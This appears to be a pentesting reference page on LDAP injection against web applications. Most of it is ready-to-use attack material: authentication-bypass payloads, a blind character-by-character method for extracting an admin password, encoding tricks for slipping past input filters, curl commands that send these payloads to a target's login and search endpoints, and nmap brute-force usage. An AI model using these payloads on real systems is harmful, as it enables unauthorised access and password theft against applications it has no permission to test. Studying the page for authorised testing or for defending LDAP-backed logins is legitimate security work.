# LDAP Injection – Auth Bypass and Data Extraction

- **URL:** https://hackindex.io/services/ldap/exploitation/ldap-injection
- **Path:** LDAP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ldap/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-04-05

LDAP injection occurs when user input is concatenated directly into an LDAP filter without sanitization. The impact depends on where the injection lands: authentication bypass, data extraction, or forced filter modification. It is most commonly found in web applications that authenticate against an LDAP directory or search it based on user input.

## How LDAP filters work

A vulnerable login form typically constructs a filter like this on the backend:

```
# Vulnerable filter construction
filter = "(&(uid=" + username + ")(password=" + password + "))"

# With legitimate input uid=admin, password=secret:
(&(uid=admin)(password=secret))

# With injected input uid=admin)(&) password=anything:
(&(uid=admin)(&)(password=anything))
# The (&) always evaluates true: password check is bypassed
```

## Authentication bypass payloads

These payloads target login forms that construct LDAP filters from user-supplied credentials. The goal is to make the filter evaluate to true regardless of the actual password.

```
# Username field payloads: inject into the uid or cn parameter
*                          # wildcard: matches any user
admin)(&)                  # closes uid clause, appends always-true condition  
admin)(|(password=*)       # OR condition: true if any password exists
*)(uid=*))(|(uid=*         # classic bypass for (&(uid=X)(pass=Y)) filters

# Combined username + password bypass
Username: admin)(&)
Password: anything

# Results in: (&(uid=admin)(&)(password=anything))
# (&) is always true: auth bypassed as admin

# Wildcard login: authenticates as first user in directory
Username: *
Password: *
```

## Testing for LDAP injection

Inject special characters and observe the response. Signs of injectable parameters:

- Wildcard `*` in a search field returns all results instead of filtered results
- Closing parenthesis `)` causes an application error or different response
- A crafted payload produces an unexpected successful login
- Timing differences between valid and invalid filter syntax

```
# Characters that break LDAP filter syntax: inject one at a time
*
(
)
\
/
NUL (0x00)

# If injecting * into a search field returns all results instead of
# filtered results, the parameter is injectable

# If injecting ) causes an application error or different response
# compared to a normal character, the parameter is injectable
```

## Blind LDAP injection: boolean-based data extraction

When there is no visible output, use boolean-based injection to extract data character by character. The technique relies on two payloads that produce different application responses: one true condition and one false condition.

```
# Target: search field that constructs (&(objectClass=user)(cn=INPUT))

# True condition: application shows results
*)(objectClass=*
# Resulting filter: (&(objectClass=user)(cn=*)(objectClass=*))

# False condition: application shows no results  
INVALID)(objectClass=INVALID
# Resulting filter: (&(objectClass=user)(cn=INVALID)(objectClass=INVALID))

# Extract first character of admin password
# True if password starts with 'a':
admin)(password=a*
# Results in: (&(objectClass=user)(cn=admin)(password=a*))

# Iterate through characters to extract full value
admin)(password=a*     # true
admin)(password=b*     # false
admin)(password=c*     # false
# ... continue until full password is extracted
```

## Filter bypass: encoding and obfuscation

Some applications filter obvious injection characters. Use LDAP encoding to bypass simple input sanitization.

```
# LDAP special character encoding
*   → \2a
(   → \28
)   → \29
\   → \5c
NUL → \00

# Encoded bypass examples
\2a                          # encoded wildcard
admin\29\28\26\29            # encoded admin)(&)

# NULL byte injection: may terminate filter early in some implementations
admin\00

# Case variation (LDAP is case-insensitive for attribute names)
(UID=admin)
(uId=admin)
(Uid=admin)
```

## Testing with curl

When you have identified an injectable parameter in a web application, test payloads systematically via curl rather than the browser to avoid URL encoding interference.

**LDAP injection via curl**

```bash
# Test wildcard in username field
curl -s -X POST http://$TARGET_IP/login -d 'username=*&password=test' | grep -i 'error\|welcome\|invalid'

# Auth bypass payload
curl -s -X POST http://$TARGET_IP/login -d 'username=admin)(%26)&password=x' | grep -i 'welcome\|dashboard\|logged'

# URL-encoded bypass
curl -s -X POST http://$TARGET_IP/login --data-urlencode 'username=admin)(&)' --data-urlencode 'password=x'

# Test search endpoint for wildcard injection
curl -s "http://$TARGET_IP/search?q=*" | wc -l
curl -s "http://$TARGET_IP/search?q=a" | wc -l
# Significantly more results for * indicates injection
```

## Automated testing with tools

**Automated LDAP injection testing**

```bash
# ldap-brute NSE: tests LDAP auth bypass
nmap -p 389 --script ldap-brute --script-args ldap.base="$BASE_DN" $TARGET_IP

# Burp Suite: use Intruder with LDAP injection wordlist
# Common wordlist locations on Kali:
ls /usr/share/seclists/Fuzzing/LDAP*
ls /usr/share/wordlists/
```

## References

- [LDAP Injection: OWASP](https://owasp.org/www-community/attacks/LDAP_Injection) - Attack description, filter mechanics, and prevention guidance
- [SecLists LDAP Fuzzing Wordlists: GitHub](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing) - LDAP injection payload lists for Burp and manual testing
